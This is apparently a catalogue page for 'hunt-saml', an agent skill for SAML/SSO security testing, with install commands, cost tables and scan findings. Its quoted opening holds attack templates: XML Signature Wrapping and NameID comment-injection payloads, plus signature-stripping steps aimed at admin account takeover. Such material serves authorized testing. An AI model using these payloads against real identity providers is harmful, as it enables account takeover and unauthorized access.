Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add uphiago/recon-skills --skill hunt-samlgit clone --depth 1 https://github.com/uphiago/recon-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/uphiago/recon-skills/hunt-saml)<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-saml"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-saml/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-saml"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-saml.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 7 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Prompt Injection · line 3 Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
- high YARA Match · line 3 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- high Prompt Injection · line 27 Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
- high Privilege Escalation · line 69 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 258 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Prompt Injection · line 154 Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
- medium Excessive Agency · line 215 Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.Fix: Add human-in-the-loop confirmation for destructive, irreversible, or high-impact operations. Never auto-execute commands that modify files, send data, or alter system state.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00198 | $0.03633 |
| Opus 5 | $0.00099 | $0.01817 |
| Sonnet 5 | $0.00040 | $0.00727 |
| Haiku 4.5 | $0.00020 | $0.00363 |
Grade A, and why
hunt-saml scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 261 lines — stays where its author put it; the contents beside it link to each section on GitHub.
20. SAML / SSO ATTACKS
SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.
Attack Surface
# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
Attack 1: XML Signature Wrapping (XSW)
<!-- BEFORE: valid assertion by [email protected] -->
<saml:Response>
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
</saml:Assertion>
</saml:Response>
<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
App processes the FIRST assertion found = evil. -->
<saml:Response>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID> <!-- Attacker-controlled -->
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature><!-- Valid --></ds:Signature>
</saml:Assertion>
</saml:Response>
Attack 2: Comment Injection in NameID
<!-- Attacker registers/controls account: [email protected] -->
<NameID>[email protected]<!---->.evil.com</NameID>
<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
digest): "[email protected]" — the value the signature covers. -->
<!-- App's XML processor also strips the comment but only reads the text node
UP TO the comment boundary: "[email protected]" — a DIFFERENT effective
identity than was signed. The discrepancy is the bug. -->
<!-- Works when signer's C14N and app's text extraction disagree on comments.
CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->
Attack 3: Signature Stripping
1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to [email protected]
4. Re-encode: base64 -w0 saml.xml (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 261 lines · 198 tokens per session scan A 383290a2dd03
hunt-saml is a skill published in the GitHub repository uphiago/recon-skills (1,251 stars, last pushed 8d ago), licensed MIT. It adds 198 tokens to every session and 3,633 once invoked, about $0.0010 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
securing-api-gateway-with-aws-waf
Securing API Gateway endpoints with AWS WAF by configuring managed rule groups for OWASP Top 10 protection, creating custom rate limiting rules, implementing bot control, setting up IP reputation filtering, and monitoring WAF metrics for security effectiveness.
building-identity-federation-with-saml-azure-ad
Establish SAML 2.0 identity federation between on-premises Active Directory and Azure AD (Microsoft Entra ID) for seamless cross-domain authentication and SSO to cloud applications.
identity-access-expert
Design authentication and authorisation: OAuth 2.1 and OpenID Connect, session and token handling, RBAC and ABAC, and multi-tenant access control. Use when the user mentions OAuth, OIDC, SAML, SSO, JWT, refresh tokens, PKCE, login flows, sessions, roles and permissions, RBAC or ABAC, or when the task involves securing…
building-identity-federation-with-saml-azure-ad
Configure SAML 2.0 identity federation between on-premises Active Directory (via AD FS or a third-party IdP) and Microsoft Entra ID, covering federation models (AD FS, password hash sync, pass-through auth, third-party IdP) and the SAML authentication flow. Use when extending on-premises authentication authority to…
building-identity-federation-with-saml-azure-ad
Establish SAML 2.0 identity federation between on-premises Active Directory and Azure AD (Microsoft Entra ID) for seamless cross-domain authentication and SSO to cloud applications.
graphql-audit
GraphQL security hunting — introspection abuse, field suggestion enumeration (clairvoyance), batching DoS, IDOR via aliasing, auth bypass, injection via arguments, subscription abuse, depth/complexity bombs, and WAF bypass. Covers graphw00f fingerprinting, gqlmap, graphql-cop, and inql. Use when a target exposes a…